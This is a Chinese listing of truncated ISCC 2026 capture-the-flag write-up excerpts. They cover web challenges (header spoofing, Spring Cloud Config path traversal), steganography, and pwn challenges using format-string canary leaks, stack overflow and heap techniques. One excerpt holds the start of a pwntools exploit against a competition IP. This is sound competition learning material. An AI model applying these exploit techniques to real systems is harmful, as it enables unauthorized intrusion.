========================= Web + 社团活动统计站 解题思路: 拿到题目后先访问首页,首页有明显的前端干扰,但直接看源码和响应即可。页面底部提示“访问核心功能需:用户代理+官方来源页+校园令牌”。继续访问 robots.txt,发现放行了 /static/hint/tech_stack.txt。读取这个文件后得到两条关键信息:一是后端为 Django,二是访问核心接口时必须满足两个请求头条件,User-Agent 必须严格为 Campus-Stat/1.0,Referer 必须为 https://campus-stat.example.com。 接着观察首页的“加载更多”活动请求,访问 /?page=2...
Web + 逆向穿越 解题思路: 题目是一个基于 Spring Boot 和 Spring Cloud Config Server 的配置服务。首先访问 `/config/app/dev/master`,返回了一份 mock 配置,其中明确提示真实敏感信息位于系统根目录下的 `/app/application.yml`。结合题目环境可以判断,核心突破点在 Config Server 的路径解析逻辑。 进一步分析发现,题目环境中的 Tomcat 开启了 `ALLOW_ENCODED_SLASH=true` 和 `ALLOW_BACKSLASH=true` 等危险配置,使得 URL 中的 `%2f` 不会在 Tomcat 层被提前标准...
Misc + 黑白琴弦 解题思路(必须包含文字说明+截图) 1. 基础信息 题目附件解开后得到 21 张条码图和一个加密的 `score.rar`。题目名称“黑白琴弦”提示信息藏在图像的黑白数据层中,而不是常规文本提示。 2. 三路信息提取 先提取每张 PNG 的可见 Code128 文本和 PNG Comment,可以恢复出两批 8 字符字符串,其中部分命中固定格式“字母 + 6 位十六进制 + 同字母”。 继续分析图像本体后,发现顶行像素的 R 通道 LSB 还藏着第三路数据。按“顶行、R 通道、LSB、正向、offset 0”提取后,又恢复出另外 5 行同格式字符串,最终补齐 A 到 U 共 21 行十六进制数据。 最终得到的...
文档下载 ISCC2026耻辱柱.docx
campus_broadcast 题目信息 题目提示: 别只看图,广播更重要;找到顺序,口令自然会出现。 附件: shnu.jpg campus_broadcast.wav 解题过程 先检查图片文件,发现图片末尾存在隐藏压缩包特征: strings shnu.jpg | grep -i rar 可以看到: TheFollowingIsARarFile Rar! 说明 shnu.jpg 后面附加了一个 RAR 文件。 提取 RAR: from pathlib import Path data = Path("shnu.jpg").read_bytes() pos = data.find(b"Rar!")...
题目是一个 “JSON 美化 + 预览” 小工具,首页提交数据到 /api/beautify.php,返回一个临时预览文件名。最先可以用最简单的输入验证功能: {"data":"{\"a\":1}","preview_type":"raw"} 返回类似: { "success": true, "preview_id": "preview_xxxxxxxx", "preview_file": "preview_xxxxxxxx.tmp" } 然后访问: /api/preview.php?file=preview_xxxxxxxx.tmp 可以读到刚才写入的内容,说明这里存在一个“读取临时预览文件”的接口。进一步访问...
附件是一个 32 位 ELF: $ file attachment-9 attachment-9: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped $ checksec --file=attachment-9 Partial RELRO No canary found NX enabled No PIE 1. main 里的格式化字符串 read(0, buf, 0x20); printf(buf); if (target_val == 5) { vuln(); } 这里存在: printf(buf) 格式化字符串漏洞 全局变量...
一个简单的canary绕过 利用格式化字符串把canary拿出来 from pwn import * context(os="linux", arch="i386", log_level="debug") elf = ELF("./attachment-5") io = remote('39.96.193.120',10018) getshell = elf.symbols["getshell"] log.success(f"getshell = {hex(getshell)}") io.recvuntil(b"Hello Hacker!\n") # 第一次输入:泄露 canary io.send(b"%31$p.END\x00")...
ISCC 2026 pwn WP 1. 基本信息 file attachment-35 # ELF 64-bit PIE checksec: # Arch: amd64 # RELRO: Full RELRO # Canary: enabled # NX: enabled # PIE: enabled libc: glibc 2.31 保护全开,不能改 GOT,主要走堆利用。 2. 结构体还原 程序维护一个全局学生数组: student *list[7]; int cnt; int role; // 0 teacher, 1 student 外层结构: struct student { struct info *info; //...
题目信息 目标地址:39.96.193.120:33334 程序保护: Arch: amd64 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE 漏洞分析 这题一共有三处关键点: customer ID 处存在格式化字符串漏洞 printf("Welcome, "); printf(id_buf); 因此可以直接泄露栈上和内存中的内容。 数量检查只比较了低 8 位 程序读入数量后,实际比较的是 al 是否小于等于 3,所以像 256、512 这类低字节为 0 的值都能绕过限制。 商品名输入处存在栈溢出 char product[0x100];...